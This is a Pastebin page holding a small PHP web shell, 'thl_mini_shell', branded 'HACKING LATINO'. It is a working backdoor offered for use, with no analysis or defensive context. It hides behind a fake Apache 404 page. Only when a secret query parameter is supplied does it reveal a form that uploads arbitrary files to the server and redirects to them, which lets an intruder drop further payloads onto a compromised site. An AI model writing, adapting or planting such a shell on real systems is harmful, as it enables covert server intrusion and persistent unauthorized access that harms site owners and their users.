Advertisement
D3vBl4ck

thl_mini_shell

May 23rd, 2019 (edited)
22,073
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.46 KB | None | 0 0
  1. <?php
  2. //some updates ^^
  3. function cmd_thl()
  4. {
  5.     if (isset($_GET['x_cmd']) && $_GET['x_cmd'] == "t_shell") {
  6.         echo('<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>THL - Small Shell</title><meta name="author" content="d3vbl4ck"><style type="text/css">@import url(https://fonts.googleapis.com/css?family=Abel);html {background: #000000;color: white;font-family: "Abel";font-size: 13px;width: 100%;}</style></head><body><center><pre style="text-align: center; color:magenta"><h1>HACKING LATINO</h1></pre><form action="" method="post" enctype="multipart/form-data"><input type="file" name="f_t_shell"><input type="submit" name="up_filex" value="Upload"></form></center></body></html>');
  7.         if (isset($_POST["up_filex"])) {
  8.             $dir_file_x = basename($_FILES["f_t_shell"]["name"]);
  9.             if (move_uploaded_file($_FILES["f_t_shell"]["tmp_name"], $dir_file_x)) {
  10.                 echo("success upload, "),$dir_file_x;
  11.                 header("location: $dir_file_x");
  12.             }
  13.         }
  14.     }else{
  15.         echo "<!DOCTYPE HTML><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.</p><hr><address>Apache/2.4.37 (Win64) PHP/5.6.40 Server at {$_SERVER['HTTP_HOST']} Port 80</address></body></html>";
  16.     }
  17. }
  18.  
  19. cmd_thl();
  20.  
  21. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement